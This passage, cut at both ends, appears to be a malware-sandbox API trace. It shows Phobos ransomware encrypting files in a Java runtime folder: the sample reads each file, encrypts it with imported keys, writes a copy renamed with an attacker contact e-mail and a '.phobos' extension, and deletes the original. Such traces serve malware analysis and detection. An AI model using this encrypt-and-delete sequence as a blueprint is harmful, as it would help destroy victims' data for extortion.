hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0134.885] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0134.886] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x752ad8) returned 1 [0134.886] CryptSetKeyParam (hKey=0x752ad8, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0134.886] ReadFile (in: hFile=0x2f8, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x1e240, lpOverlapped=0x0) returned 1 [0134.960] CryptEncrypt (in: hKey=0x752ad8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x1e250, dwBufLen=0x1e250 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x1e250) returned 1 [0134.960] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x1e250, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x1e250, lpOverlapped=0x0) returned 1 [0134.962] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x752a58) returned 1 [0134.962] CryptSetKeyParam (hKey=0x752a58, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0134.962] CryptEncrypt (in: hKey=0x752a58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0134.962] CryptDestroyKey (hKey=0x752a58) returned 1 [0134.962] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0134.962] CryptDestroyKey (hKey=0x752ad8) returned 1 [0134.962] CloseHandle (hObject=0x2f8) returned 1 [0134.962] CloseHandle (hObject=0x2f4) returned 1 [0134.962] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll")) returned 1 [0134.964] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0134.964] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0134.964] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=63552) returned 1 [0134.964] CloseHandle (hObject=0x2f4) returned 1 [0134.964] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll")) returned 0x20 [0134.964] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.964] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0134.964] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0134.964] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0134.964] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.965] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x752ad8) returned 1 [0134.965] CryptSetKeyParam (hKey=0x752ad8, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0134.965] ReadFile (in: hFile=0x2f4, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0xf840, lpOverlapped=0x0) returned 1 [0135.000] CryptEncrypt (in: hKey=0x752ad8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0xf850, dwBufLen=0xf850 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0xf850) returned 1 [0135.000] WriteFile (in: hFile=0x2f8, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf850, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf850, lpOverlapped=0x0) returned 1 [0135.002] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x752e58) returned 1 [0135.002] CryptSetKeyParam (hKey=0x752e58, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0135.002] CryptEncrypt (in: hKey=0x752e58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0135.002] CryptDestroyKey (hKey=0x752e58) returned 1 [0135.002] WriteFile (in: hFile=0x2f8, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0135.002] CryptDestroyKey (hKey=0x752ad8) returned 1 [0135.002] CloseHandle (hObject=0x2f4) returned 1 [0135.002] CloseHandle (hObject=0x2f8) returned 1 [0135.002] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll")) returned 1 [0135.004] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0135.004] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0135.004] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=34368) returned 1 [0135.004] CloseHandle (hObject=0x2f8) returned 1 [0135.004] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe")) returned 0x20 [0135.004] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.004] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0135.004] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0135.004] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0135.004] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0135.005] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x753018) returned 1 [0135.005] CryptSetKeyParam (hKey=0x753018, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0135.005] ReadFile (in: hFile=0x2f8, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x8640, lpOverlapped=0x0) returned 1 [0135.035] CryptEncrypt (in: hKey=0x753018, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x8650, dwBufLen=0x8650 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x8650) returned 1 [0135.035] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x8650, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x8650, lpOverlapped=0x0) returned 1 [0135.038] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x753158) returned 1 [0135.038] CryptSetKeyParam (hKey=0x753158, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0135.038] CryptEncrypt (in: hKey=0x753158, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0135.038] CryptDestroyKey (hKey=0x753158) returned 1 [0135.038] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0135.038] CryptDestroyKey (hKey=0x753018) returned 1 [0135.039] CloseHandle (hObject=0x2f8) returned 1 [0135.039] CloseHandle (hObject=0x2f4) returned 1 [0135.039] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe")) returned 1 [0135.040] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0135.040] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0135.040] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=159808) returned 1 [0135.040] CloseHandle (hObject=0x2f4) returned 1 [0135.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll")) returned 0x20 [0135.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.040] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0135.040] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0135.040] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0135.040] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0135.041] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x753158) returned 1 [0135.041] CryptSetKeyParam (hKey=0x753158, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0135.041] ReadFile (in: hFile=0x2f4, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x27040, lpOverlapped=0x0) returned 1 [0135.175] CryptEncrypt (in: hKey=0x753158, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x27050, dwBufLen=0x27050 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x27050) returned 1 [0135.175] WriteFile (in: hFile=0x2f8, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x27050, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x27050, lpOverlapped=0x0) returned 1 [0135.178] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x7531d8) returned 1 [0135.178] CryptSetKeyParam (hKey=0x7531d8, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0135.178] CryptEncrypt (in: hKey=0x7531d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0135.178] CryptDestroyKey (hKey=0x7531d8) returned 1 [0135.178] WriteFile (in: hFile=0x2f8, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0135.178] CryptDestroyKey (hKey=0x753158) returned 1 [0135.178] CloseHandle (hObject=0x2f4) returned 1 [0135.178] CloseHandle (hObject=0x2f8) returned 1 [0135.178] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll")) returned 1 [0135.180] SetEvent (hEvent=0x298) returned 1 [0135.180] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0135.180] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0135.181] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=142400) returned 1 [0135.181] CloseHandle (hObject=0x2f8) returned 1 [0135.181] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll")) returned 0x20 [0135.181] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.181] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0135.181] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0135.181] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0135.181] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0135.182] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x752ad8) returned 1 [0135.182] CryptSetKeyParam (hKey=0x752ad8, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0135.182] ReadFile (in: hFile=0x2f8, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x22c40, lpOverlapped=0x0) returned 1 [0135.202] CryptEncrypt (in: hKey=0x752ad8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x22c50, dwBufLen=0x22c50 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x22c50) returned 1 [0135.203] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x22c50, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x22c50, lpOverlapped=0x0) returned 1 [0135.206] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x753018) returned 1 [0135.206] CryptSetKeyParam (hKey=0x753018, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0135.206] CryptEncrypt (in: hKey=0x753018, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x50, dwBufLen=0x50 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x50) returned 1 [0135.206] CryptDestroyKey (hKey=0x753018) returned 1 [0135.206] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x102, lpOverlapped=0x0) returned 1 [0135.206] CryptDestroyKey (hKey=0x752ad8) returned 1 [0135.206] CloseHandle (hObject=0x2f8) returned 1 [0135.206] CloseHandle (hObject=0x2f4) returned 1 [0135.206] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll")) returned 1 [0135.207] SetEvent (hEvent=0x298) returned 1 [0135.208] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0135.208] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0135.209] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=187392) returned 1 [0135.209] CloseHandle (hObject=0x2f4) returned 1 [0135.209] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl")) returned 0x20 [0135.209] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0135.210] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0135.210] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0135.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0135.210] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x753098) returned 1 [0135.210] CryptSetKeyParam (hKey=0x753098, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0135.210] ReadFile (in: hFile=0x2f4, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x2dc00, lpOverlapped=0x0) returned 1 [0135.234] CryptEncrypt (in: hKey=0x753098, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x2dc10, dwBufLen=0x2dc10 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x2dc10) returned 1 [0135.234] WriteFile (in: hFile=0x2f8, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x2dc10, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x2dc10, lpOverlapped=0x0) returned 1 [0135.237] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x752cd8) returned 1 [0135.237] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0135.237] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0135.237] CryptDestroyKey (hKey=0x752cd8) returned 1 [0135.237] WriteFile (in: hFile=0x2f8, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0135.237] CryptDestroyKey (hKey=0x753098) returned 1 [0135.237] CloseHandle (hObject=0x2f4) returned 1 [0135.237] CloseHandle (hObject=0x2f8) returned 1 [0135.237] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl")) returned 1 [0135.239] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 